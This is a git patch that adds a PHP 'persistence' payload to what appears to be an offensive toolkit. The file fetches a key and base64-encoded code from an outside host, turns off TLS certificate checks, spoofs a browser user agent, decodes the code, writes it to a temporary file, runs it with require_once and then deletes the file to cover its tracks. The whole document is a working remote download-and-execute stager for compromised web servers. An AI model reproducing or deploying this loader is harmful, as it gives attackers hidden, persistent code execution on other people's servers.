From d807b756b65222921564aac17c4c0c6e6d411c0f Mon Sep 17 00:00:00 2001
From: syn <syn@localhost>
Date: Wed, 29 Jan 2025 21:22:48 +0700
Subject: [PATCH] Presisten: add presisten payload

---
 payload/msf/presisten/presisten.php | 31 +++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 payload/msf/presisten/presisten.php

diff --git a/payload/msf/presisten/presisten.php b/payload/msf/presisten/presisten.php
new file mode 100644
index 0000000..bcbf518
--- /dev/null
+++ b/payload/msf/presisten/presisten.php
@@ -0,0 +1,31 @@
+<?php
+function get_contents($url) {
+    $ch = curl_init($url);
+    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
+    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
+    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
+    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
+    $result = curl_exec($ch);
+    curl_close($ch);
+    return $result;
+}
+$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
+$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/presisten_v2';
+// $codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/php/prisisten';
+$keyHash = trim(get_contents($hashUrl));
+if (empty($keyHash)) {
+    die("Die !hash key URL.\n");
+}
+$encoded_code = get_contents($codeUrl);
+if (empty($encoded_code)) {
+    die("Die! enc URL.\n");
+}
+$decoded_code = base64_decode($encoded_code);
+$clean_code = str_replace($keyHash, '', $decoded_code);
+$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
+file_put_contents($tempFile, $clean_code);
+require_once $tempFile;
+unlink($tempFile);
+
+?>